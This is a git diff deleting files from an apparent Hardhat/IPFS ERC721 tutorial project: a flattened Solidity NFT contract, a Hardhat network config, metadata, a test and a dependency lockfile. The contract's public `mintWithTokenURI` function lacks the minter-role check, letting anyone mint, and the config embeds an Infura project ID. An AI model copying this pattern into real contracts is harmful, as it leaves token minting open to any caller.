-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(UintSet storage set, uint256 index) internal view returns (uint256) {
-        return uint256(_at(set._inner, index));
-    }
-}
-
-
-// File contracts/extensions/AccessControlEnumerable.sol
-
-
-
-pragma solidity ^0.8.0;
-
-
-/**
- * @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
- */
-interface IAccessControlEnumerable {
-    function getRoleMember(bytes32 role, uint256 index) external view returns (address);
-    function getRoleMemberCount(bytes32 role) external view returns (uint256);
-}
-
-/**
- * @dev Extension of {AccessControl} that allows enumerating the members of each role.
- */
-abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
-    using EnumerableSet for EnumerableSet.AddressSet;
-
-    mapping (bytes32 => EnumerableSet.AddressSet) private _roleMembers;
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IAccessControlEnumerable).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev Returns one of the accounts that have `role`. `index` must be a
-     * value between 0 and {getRoleMemberCount}, non-inclusive.
-     *
-     * Role bearers are not sorted in any particular way, and their ordering may
-     * change at any point.
-     *
-     * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
-     * you perform all queries on the same block. See the following
-     * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
-     * for more information.
-     */
-    function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
-        return _roleMembers[role].at(index);
-    }
-
-    /**
-     * @dev Returns the number of accounts that have `role`. Can be used
-     * together with {getRoleMember} to enumerate all bearers of a role.
-     */
-    function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
-        return _roleMembers[role].length();
-    }
-
-    /**
-     * @dev Overload {grantRole} to track enumerable memberships
-     */
-    function grantRole(bytes32 role, address account) public virtual override {
-        super.grantRole(role, account);
-        _roleMembers[role].add(account);
-    }
-
-    /**
-     * @dev Overload {revokeRole} to track enumerable memberships
-     */
-    function revokeRole(bytes32 role, address account) public virtual override {
-        super.revokeRole(role, account);
-        _roleMembers[role].remove(account);
-    }
-
-    /**
-     * @dev Overload {renounceRole} to track enumerable memberships
-     */
-    function renounceRole(bytes32 role, address account) public virtual override {
-        super.renounceRole(role, account);
-        _roleMembers[role].remove(account);
-    }
-
-    /**
-     * @dev Overload {_setupRole} to track enumerable memberships
-     */
-    function _setupRole(bytes32 role, address account) internal virtual override {
-        super._setupRole(role, account);
-        _roleMembers[role].add(account);
-    }
-}
-
-
-// File contracts/extensions/Counters.sol
-
-
-
-pragma solidity ^0.8.0;
-
-/**
- * @title Counters
- * @author Matt Condon (@shrugs)
- * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
- * of elements in a mapping, issuing ERC721 ids, or counting request ids.
- *
- * Include with `using Counters for Counters.Counter;`
- */
-library Counters {
-    struct Counter {
-        // This variable should never be directly accessed by users of the library: interactions must be restricted to
-        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
-        // this feature: see https://github.com/ethereum/solidity/issues/4637
-        uint256 _value; // default: 0
-    }
-
-    function current(Counter storage counter) internal view returns (uint256) {
-        return counter._value;
-    }
-
-    function increment(Counter storage counter) internal {
-        unchecked {
-            counter._value += 1;
-        }
-    }
-
-    function decrement(Counter storage counter) internal {
-        uint256 value = counter._value;
-        require(value > 0, "Counter: decrement overflow");
-        unchecked {
-            counter._value = value - 1;
-        }
-    }
-
-    function reset(Counter storage counter) internal {
-        counter._value = 0;
-    }
-}
-
-
-// File contracts/ERC721PresetMinterPauserAutoId.sol
-
-
-
-pragma solidity ^0.8.0;
-
-
-
-
-
-
-
-
-/**
- * @dev {ERC721} token, including:
- *
- *  - ability for holders to burn (destroy) their tokens
- *  - a minter role that allows for token minting (creation)
- *  - a pauser role that allows to stop all token transfers
- *  - token ID and URI autogeneration
- *
- * This contract uses {AccessControl} to lock permissioned functions using the
- * different roles - head to its documentation for details.
- *
- * The account that deploys the contract will be granted the minter and pauser
- * roles, as well as the default admin role, which will let it grant both minter
- * and pauser roles to other accounts.
- */
-contract ERC721PresetMinterPauserAutoId is Context, AccessControlEnumerable, ERC721Enumerable, ERC721Burnable, ERC721Pausable {
-    using Counters for Counters.Counter;
-
-    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
-    bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
-
-    Counters.Counter private _tokenIdTracker;
-
-    string private _baseTokenURI;
-
-    /**
-     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
-     * account that deploys the contract.
-     *
-     * Token URIs will be autogenerated based on `baseURI` and their token IDs.
-     * See {ERC721-tokenURI}.
-     */
-    constructor(string memory name, string memory symbol, string memory baseTokenURI) ERC721(name, symbol) {
-        _baseTokenURI = baseTokenURI;
-
-        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
-
-        _setupRole(MINTER_ROLE, _msgSender());
-        _setupRole(PAUSER_ROLE, _msgSender());
-    }
-
-    function _baseURI() internal view virtual override returns (string memory) {
-        return _baseTokenURI;
-    }
-
-    /**
-     * @dev Creates a new token for `to`. Its token ID will be automatically
-     * assigned (and available on the emitted {IERC721-Transfer} event), and the token
-     * URI autogenerated based on the base URI passed at construction.
-     *
-     * See {ERC721-_mint}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `MINTER_ROLE`.
-     */
-    function mint(address to) public virtual {
-        require(hasRole(MINTER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have minter role to mint");
-
-        // We cannot just use balanceOf to create the new tokenId because tokens
-        // can be burned (destroyed), so we need a separate counter.
-        _mint(to, _tokenIdTracker.current());
-        _tokenIdTracker.increment();
-    }
-
-
-    /**
-     * @dev Pauses all token transfers.
-     *
-     * See {ERC721Pausable} and {Pausable-_pause}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `PAUSER_ROLE`.
-     */
-    function pause() public virtual {
-        require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to pause");
-        _pause();
-    }
-
-    /**
-     * @dev Unpauses all token transfers.
-     *
-     * See {ERC721Pausable} and {Pausable-_unpause}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `PAUSER_ROLE`.
-     */
-    function unpause() public virtual {
-        require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to unpause");
-        _unpause();
-    }
-
-    function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
-        super._beforeTokenTransfer(from, to, tokenId);
-    }
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC721, ERC721Enumerable) returns (bool) {
-        return super.supportsInterface(interfaceId);
-    }
-
-    // --------------------------------------------
-    //
-
-    using Strings for uint256;
-
-    // Optional mapping for token URIs
-    mapping (uint256 => string) private _tokenURIs;
-
-    /**
-     * @dev See {IERC721Metadata-tokenURI}.
-     */
-    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
-        require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
-
-        string memory _tokenURI = _tokenURIs[tokenId];
-        string memory base = _baseURI();
-
-        // If there is no base URI, return the token URI.
-        if (bytes(base).length == 0) {
-            return _tokenURI;
-        }
-        // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
-        if (bytes(_tokenURI).length > 0) {
-            return string(abi.encodePacked(base, _tokenURI));
-        }
-
-        return super.tokenURI(tokenId);
-    }
-
-    /**
-     * @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
-     *
-     * Requirements:
-     *
-     * - `tokenId` must exist.
-     */
-    function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
-        require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
-        _tokenURIs[tokenId] = _tokenURI;
-    }
-
-    /**
-     * @dev Destroys `tokenId`.
-     * The approval is cleared when the token is burned.
-     *
-     * Requirements:
-     *
-     * - `tokenId` must exist.
-     *
-     * Emits a {Transfer} event.
-     */
-    function _burn(uint256 tokenId) internal virtual override {
-        super._burn(tokenId);
-
-        if (bytes(_tokenURIs[tokenId]).length != 0) {
-            delete _tokenURIs[tokenId];
-        }
-    }
-
-    //
-    function mintWithTokenURI(address to, string memory tokenURI) public  returns (bool) {
-        _mint(to, _tokenIdTracker.current());
-        _setTokenURI(_tokenIdTracker.current(), tokenURI);
-        _tokenIdTracker.increment();
-        return true;
-    }
-}
-
-
-// File contracts/MYERC721.sol
-
-pragma solidity ^0.8.0;
-contract MYERC721 is ERC721PresetMinterPauserAutoId {
-    constructor(string memory _name, string memory _symbol, string memory _baseTokenURI) public ERC721PresetMinterPauserAutoId(_name, _symbol,_baseTokenURI)
-    {
-    }
-    
-}
diff --git a/Example10-hardhat-ipfs-erc721/hardhat.config.js b/Example10-hardhat-ipfs-erc721/hardhat.config.js
deleted file mode 100644
index 885da27db..000000000
--- a/Example10-hardhat-ipfs-erc721/hardhat.config.js
+++ /dev/null
@@ -1,62 +0,0 @@
-require("@nomiclabs/hardhat-waffle");
-const fs = require("fs");
-
-// This is a sample Hardhat task. To learn how to create your own go to
-// https://hardhat.org/guides/create-task.html
-task("accounts", "Prints the list of accounts", async () => {
-  const accounts = await ethers.getSigners();
-
-  for (const account of accounts) {
-    console.log(account.address);
-  }
-});
-
-// You need to export an object to set up your config
-// Go to https://hardhat.org/config/ to learn more
-
-function mnemonic() {
-
-  return fs.readFileSync("./sk.txt").toString().trim();
-
-}
-
-/**
- * @type import('hardhat/config').HardhatUserConfig
- */
-module.exports = {
-  solidity: "0.8.0",
-  networks: {
-    localhost: {
-      url: "http://localhost:8545",
-      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
-      /*
-        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
-        (you can put in a mnemonic here to set the deployer locally)
-      */
-    },
-    rinkeby: {
-      url: "https://rinkeby.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    kovan: {
-      url: "https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    mainnet: {
-      url: "https://mainnet.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    ropsten: {
-      url: "https://ropsten.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-  }
-};
\ No newline at end of file
diff --git a/Example10-hardhat-ipfs-erc721/nft.json b/Example10-hardhat-ipfs-erc721/nft.json
deleted file mode 100644
index 62285c19e..000000000
--- a/Example10-hardhat-ipfs-erc721/nft.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-    "name": "NFT Art",
-    "description": "This image shows the true nature of NFT.",
-    "image": "https://ipfs.io/ipfs/QmYZ4YXeF8ph17MDypDu8BnT2mFMM5mdyCVSpuQcajjy3x",
-}
diff --git a/Example10-hardhat-ipfs-erc721/package.json b/Example10-hardhat-ipfs-erc721/package.json
deleted file mode 100644
index aab18df60..000000000
--- a/Example10-hardhat-ipfs-erc721/package.json
+++ /dev/null
@@ -1,24 +0,0 @@
-{
-  "name": "Example10-hardhat-ipfs-erc721",
-  "version": "1.0.0",
-  "description": "是一个旨在创建持久且分布式存储和共享文件的网络传输协议。它是一种内容可寻址的对等超媒体分发协议。 在IPFS网络中的节点将构成一个分布式文件系统。它是一个开放源代码项目，自2014年开始由协议实验室在开源社区的帮助下发展。其最初由Juan Benet设计 IPFS是一个对等的分布式文件系统，它尝试为所有计算设备连接同一个文件系统。在某些方面，IPFS类似于万维网，也可以被视作一个独立的BitTorrent群、在同一个Git仓库中交换对象。 换种说法，IPFS提供了一个高吞吐量、按内容寻址的块存储模型，及与内容相关超链接。这形成了一个广义的Merkle有向无环图（DAG）。     IPFS结合了分布式散列表、鼓励块交换和一个自我认证的名字空间。IPFS没有单点故障，并且节点不需要相互信任。分布式内容传递可以节约带宽，和防止HTTP方案可能遇到的DDoS攻击。 该文件系统可以通过多种方式访问，包括FUSE与HTTP。将本地文件添加到IPFS文件系统可使其面向全世界可用。文件表示基于其哈希，因此有利于缓存。文件的分发采用一个基于BitTorrent的协议。其他查看内容的用户也有助于将内容提供给网络上的其他人。 IPFS有一个称为IPNS的名称服务，它是一个基于PKI的全局名字空间，用于构筑信任链，这与其他NS兼容，并可以映射DNS、.onion、.bit等到IPNS。",
-  "main": "index.js",
-  "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
-  },
-  "keywords": [],
-  "author": "",
-  "license": "ISC",
-  "dependencies": {
-    "hardhat": "^2.3.0",
-    "ipfs-api": "^26.1.2"
-  },
-  "devDependencies": {
-    "@nomiclabs/hardhat-ethers": "^2.0.2",
-    "@nomiclabs/hardhat-waffle": "^2.0.1",
-    "@openzeppelin/contracts": "^4.1.0",
-    "chai": "^4.3.4",
-    "ethereum-waffle": "^3.3.0",
-    "ethers": "^5.2.0"
-  }
-}
diff --git a/Example10-hardhat-ipfs-erc721/test/erc721-test.js b/Example10-hardhat-ipfs-erc721/test/erc721-test.js
deleted file mode 100644
index 7bbc86f1a..000000000
--- a/Example10-hardhat-ipfs-erc721/test/erc721-test.js
+++ /dev/null
@@ -1,21 +0,0 @@
-const { expect } = require("chai");
-const { exec } = require('child_process');
-
-
-describe("ERC721 contract", function() {
-  it("Deployment should not assign any Token to deployer", async function() {
-    const [owner,addr1, addr2] = await ethers.getSigners();
-
-    console.log(owner.address)
-    console.log(addr1.address)
-
-    const contractfactory = await ethers.getContractFactory("MYERC721");
-    const myerc721 = await contractfactory.deploy("MYERC721","TEST","");
-
-    console.log(myerc721.address);
-
-    const ownerBalance = await myerc721.balanceOf(owner.address);
-    expect("0").to.equal(ownerBalance);
-  });
-
-});
diff --git a/Example11-react-express-hardhat/README.md b/Example11-react-express-hardhat/README.md
deleted file mode 100644
index fa016b8e0..000000000
--- a/Example11-react-express-hardhat/README.md
+++ /dev/null
@@ -1,39 +0,0 @@
-# Todo
-
-- 安装 hardhat
-
-```shell
-npx hardhat
-```
-
-- 选择创建一个简单的项目。添加一个名为 SimpleToken.sol 的合约到 ./contracts, 编译此合约并且运行测试
-
-```shell
-npx hardhat compile
-npx hardhat test
-npx hardhat node
-```
-
-- 部署
-
-```shell
-npx hardhat run scripts/deploy.js --network kovan
-```
-
-- 找到你的本地节点账户的私有 key 以及 token 地址，导入到 Metamask 中
-
-- 后端
-
-```shell
-cd backend
-npm install
-node app.js
-```
-
-- 启动 react
-
-```shell
-cd frontend
-yarn 
-yarn start
-```
\ No newline at end of file
diff --git a/Example11-react-express-hardhat/backend/package-lock.json b/Example11-react-express-hardhat/backend/package-lock.json
deleted file mode 100644
index abe674300..000000000
--- a/Example11-react-express-hardhat/backend/package-lock.json
+++ /dev/null
@@ -1,1451 +0,0 @@
-{
-  "name": "backend",
-  "version": "1.0.0",
-  "lockfileVersion": 1,
-  "requires": true,
-  "dependencies": {
-    "abbrev": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/abbrev/download/abbrev-1.1.1.tgz",
-      "integrity": "sha1-+PLIh60Qv2f2NPAFtph/7TF5qsg="
-    },
-    "accepts": {
-      "version": "1.3.7",
-      "resolved": "https://registry.npm.taobao.org/accepts/download/accepts-1.3.7.tgz",
-      "integrity": "sha1-UxvHJlF6OytB+FACHGzBXqq1B80=",
-      "requires": {
-        "mime-types": "~2.1.24",
-        "negotiator": "0.6.2"
-      }
-    },
-    "ajv": {
-      "version": "6.12.6",
-      "resolved": "https://registry.nlark.com/ajv/download/ajv-6.12.6.tgz",
-      "integrity": "sha1-uvWmLoArB9l3A0WG+MO69a3ybfQ=",
-      "optional": true,
-      "requires": {
-        "fast-deep-equal": "^3.1.1",
-        "fast-json-stable-stringify": "^2.0.0",
-        "json-schema-traverse": "^0.4.1",
-        "uri-js": "^4.2.2"
-      }
-    },
-    "ansi-regex": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npm.taobao.org/ansi-regex/download/ansi-regex-2.1.1.tgz",
-      "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8="
-    },
-    "aproba": {
-      "version": "1.2.0",
-      "resolved": "https://registry.nlark.com/aproba/download/aproba-1.2.0.tgz",
-      "integrity": "sha1-aALmJk79GMeQobDVF/DyYnvyyUo="
-    },
-    "are-we-there-yet": {
-      "version": "1.1.5",
-      "resolved": "https://registry.npm.taobao.org/are-we-there-yet/download/are-we-there-yet-1.1.5.tgz",
-      "integrity": "sha1-SzXClE8GKov82mZBB2A1D+nd/CE=",
-      "requires": {
-        "delegates": "^1.0.0",
-        "readable-stream": "^2.0.6"
-      }
-    },
-    "array-flatten": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/array-flatten/download/array-flatten-1.1.1.tgz",
-      "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI="
-    },
-    "asn1": {
-      "version": "0.2.4",
-      "resolved": "https://registry.npm.taobao.org/asn1/download/asn1-0.2.4.tgz",
-      "integrity": "sha1-jSR136tVO7M+d7VOWeiAu4ziMTY=",
-      "optional": true,
-      "requires": {
-        "safer-buffer": "~2.1.0"
-      }
-    },
-    "assert-plus": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/assert-plus/download/assert-plus-1.0.0.tgz",
-      "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=",
-      "optional": true
-    },
-    "asynckit": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npm.taobao.org/asynckit/download/asynckit-0.4.0.tgz",
-      "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=",
-      "optional": true
-    },
-    "aws-sign2": {
-      "version": "0.7.0",
-      "resolved": "https://registry.nlark.com/aws-sign2/download/aws-sign2-0.7.0.tgz",
-      "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=",
-      "optional": true
-    },
-    "aws4": {
-      "version": "1.11.0",
-      "resolved": "https://registry.npm.taobao.org/aws4/download/aws4-1.11.0.tgz?cache=0&sync_timestamp=1604101244098&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Faws4%2Fdownload%2Faws4-1.11.0.tgz",
-      "integrity": "sha1-1h9G2DslGSUOJ4Ta9bCUeai0HFk=",
-      "optional": true
-    },
-    "balanced-match": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/balanced-match/download/balanced-match-1.0.2.tgz?cache=0&sync_timestamp=1617714233441&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbalanced-match%2Fdownload%2Fbalanced-match-1.0.2.tgz",
-      "integrity": "sha1-6D46fj8wCzTLnYf2FfoMvzV2kO4="
-    },
-    "bcrypt-pbkdf": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/bcrypt-pbkdf/download/bcrypt-pbkdf-1.0.2.tgz",
-      "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=",
-      "optional": true,
-      "requires": {
-        "tweetnacl": "^0.14.3"
-      }
-    },
-    "block-stream": {
-      "version": "0.0.9",
-      "resolved": "https://registry.npm.taobao.org/block-stream/download/block-stream-0.0.9.tgz",
-      "integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=",
-      "optional": true,
-      "requires": {
-        "inherits": "~2.0.0"
-      }
-    },
-    "body-parser": {
-      "version": "1.19.0",
-      "resolved": "https://registry.npm.taobao.org/body-parser/download/body-parser-1.19.0.tgz",
-      "integrity": "sha1-lrJwnlfJxOCab9Zqj9l5hE9p8Io=",
-      "requires": {
-        "bytes": "3.1.0",
-        "content-type": "~1.0.4",
-        "debug": "2.6.9",
-        "depd": "~1.1.2",
-        "http-errors": "1.7.2",
-        "iconv-lite": "0.4.24",
-        "on-finished": "~2.3.0",
-        "qs": "6.7.0",
-        "raw-body": "2.4.0",
-        "type-is": "~1.6.17"
-      }
-    },
-    "brace-expansion": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npm.taobao.org/brace-expansion/download/brace-expansion-1.1.11.tgz?cache=0&sync_timestamp=1614010709807&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbrace-expansion%2Fdownload%2Fbrace-expansion-1.1.11.tgz",
-      "integrity": "sha1-PH/L9SnYcibz0vUrlm/1Jx60Qd0=",
-      "requires": {
-        "balanced-match": "^1.0.0",
-        "concat-map": "0.0.1"
-      }
-    },
-    "bytes": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npm.taobao.org/bytes/download/bytes-3.1.0.tgz",
-      "integrity": "sha1-9s95M6Ng4FiPqf3oVlHNx/gF0fY="
-    },
-    "caseless": {
-      "version": "0.12.0",
-      "resolved": "https://registry.nlark.com/caseless/download/caseless-0.12.0.tgz",
-      "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=",
-      "optional": true
-    },
-    "chownr": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npm.taobao.org/chownr/download/chownr-1.1.4.tgz",
-      "integrity": "sha1-b8nXtC0ypYNZYzdmbn0ICE2izGs="
-    },
-    "code-point-at": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/code-point-at/download/code-point-at-1.1.0.tgz",
-      "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c="
-    },
-    "colorette": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npm.taobao.org/colorette/download/colorette-1.2.1.tgz?cache=0&sync_timestamp=1614259647923&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcolorette%2Fdownload%2Fcolorette-1.2.1.tgz",
-      "integrity": "sha1-TQuSEyXBT6+SYzCGpTbbbolWSxs="
-    },
-    "combined-stream": {
-      "version": "1.0.8",
-      "resolved": "https://registry.npm.taobao.org/combined-stream/download/combined-stream-1.0.8.tgz",
-      "integrity": "sha1-w9RaizT9cwYxoRCoolIGgrMdWn8=",
-      "optional": true,
-      "requires": {
-        "delayed-stream": "~1.0.0"
-      }
-    },
-    "commander": {
-      "version": "7.2.0",
-      "resolved": "https://registry.nlark.com/commander/download/commander-7.2.0.tgz?cache=0&sync_timestamp=1622954251160&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcommander%2Fdownload%2Fcommander-7.2.0.tgz",
-      "integrity": "sha1-o2y1fQtQHOEI5NIFWaFQo5HZerc="
-    },
-    "compressible": {
-      "version": "2.0.18",
-      "resolved": "https://registry.npm.taobao.org/compressible/download/compressible-2.0.18.tgz",
-      "integrity": "sha1-r1PMprBw1MPAdQ+9dyhqbXzEb7o=",
-      "requires": {
-        "mime-db": ">= 1.43.0 < 2"
-      }
-    },
-    "compression": {
-      "version": "1.7.4",
-      "resolved": "https://registry.npm.taobao.org/compression/download/compression-1.7.4.tgz",
-      "integrity": "sha1-lVI+/xcMpXwpoMpB5v4TH0Hlu48=",
-      "requires": {
-        "accepts": "~1.3.5",
-        "bytes": "3.0.0",
-        "compressible": "~2.0.16",
-        "debug": "2.6.9",
-        "on-headers": "~1.0.2",
-        "safe-buffer": "5.1.2",
-        "vary": "~1.1.2"
-      },
-      "dependencies": {
-        "bytes": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/bytes/download/bytes-3.0.0.tgz",
-          "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg="
-        }
-      }
-    },
-    "concat-map": {
-      "version": "0.0.1",
-      "resolved": "https://registry.npm.taobao.org/concat-map/download/concat-map-0.0.1.tgz",
-      "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s="
-    },
-    "console-control-strings": {
-      "version": "1.1.0",
-      "resolved": "https://registry.nlark.com/console-control-strings/download/console-control-strings-1.1.0.tgz",
-      "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4="
-    },
-    "content-disposition": {
-      "version": "0.5.3",
-      "resolved": "https://registry.npm.taobao.org/content-disposition/download/content-disposition-0.5.3.tgz",
-      "integrity": "sha1-4TDK9+cnkIfFYWwgB9BIVpiYT70=",
-      "requires": {
-        "safe-buffer": "5.1.2"
-      }
-    },
-    "content-type": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/content-type/download/content-type-1.0.4.tgz",
-      "integrity": "sha1-4TjMdeBAxyexlm/l5fjJruJW/js="
-    },
-    "cookie": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npm.taobao.org/cookie/download/cookie-0.4.0.tgz",
-      "integrity": "sha1-vrQ35wIrO21JAZ0IhmUwPr6cFLo="
-    },
-    "cookie-signature": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npm.taobao.org/cookie-signature/download/cookie-signature-1.0.6.tgz",
-      "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw="
-    },
-    "core-util-is": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/core-util-is/download/core-util-is-1.0.2.tgz",
-      "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac="
-    },
-    "cors": {
-      "version": "2.8.5",
-      "resolved": "https://registry.npm.taobao.org/cors/download/cors-2.8.5.tgz",
-      "integrity": "sha1-6sEdpRWS3Ya58G9uesKTs9+HXSk=",
-      "requires": {
-        "object-assign": "^4",
-        "vary": "^1"
-      }
-    },
-    "dashdash": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npm.taobao.org/dashdash/download/dashdash-1.14.1.tgz",
-      "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=",
-      "optional": true,
-      "requires": {
-        "assert-plus": "^1.0.0"
-      }
-    },
-    "debug": {
-      "version": "2.6.9",
-      "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
-      "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
-      "requires": {
-        "ms": "2.0.0"
-      }
-    },
-    "deep-extend": {
-      "version": "0.6.0",
-      "resolved": "https://registry.npm.taobao.org/deep-extend/download/deep-extend-0.6.0.tgz",
-      "integrity": "sha1-xPp8lUBKF6nD6Mp+FTcxK3NjMKw="
-    },
-    "delayed-stream": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/delayed-stream/download/delayed-stream-1.0.0.tgz",
-      "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=",
-      "optional": true
-    },
-    "delegates": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/delegates/download/delegates-1.0.0.tgz",
-      "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o="
-    },
-    "depd": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npm.taobao.org/depd/download/depd-1.1.2.tgz",
-      "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak="
-    },
-    "destroy": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/destroy/download/destroy-1.0.4.tgz",
-      "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA="
-    },
-    "detect-libc": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npm.taobao.org/detect-libc/download/detect-libc-1.0.3.tgz",
-      "integrity": "sha1-+hN8S9aY7fVc1c0CrFWfkaTEups="
-    },
-    "ecc-jsbn": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npm.taobao.org/ecc-jsbn/download/ecc-jsbn-0.1.2.tgz",
-      "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=",
-      "optional": true,
-      "requires": {
-        "jsbn": "~0.1.0",
-        "safer-buffer": "^2.1.0"
-      }
-    },
-    "ee-first": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/ee-first/download/ee-first-1.1.1.tgz",
-      "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0="
-    },
-    "encodeurl": {
-      "version": "1.0.2",
-      "resolved": "https://registry.nlark.com/encodeurl/download/encodeurl-1.0.2.tgz",
-      "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k="
-    },
-    "escalade": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npm.taobao.org/escalade/download/escalade-3.1.1.tgz?cache=0&sync_timestamp=1602567261690&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescalade%2Fdownload%2Fescalade-3.1.1.tgz",
-      "integrity": "sha1-2M/ccACWXFoBdLSoLqpcBVJ0LkA="
-    },
-    "escape-html": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npm.taobao.org/escape-html/download/escape-html-1.0.3.tgz",
-      "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg="
-    },
-    "esm": {
-      "version": "3.2.25",
-      "resolved": "https://registry.npm.taobao.org/esm/download/esm-3.2.25.tgz",
-      "integrity": "sha1-NCwYwp1WFXaIulzjH4Qx+7eVzBA="
-    },
-    "etag": {
-      "version": "1.8.1",
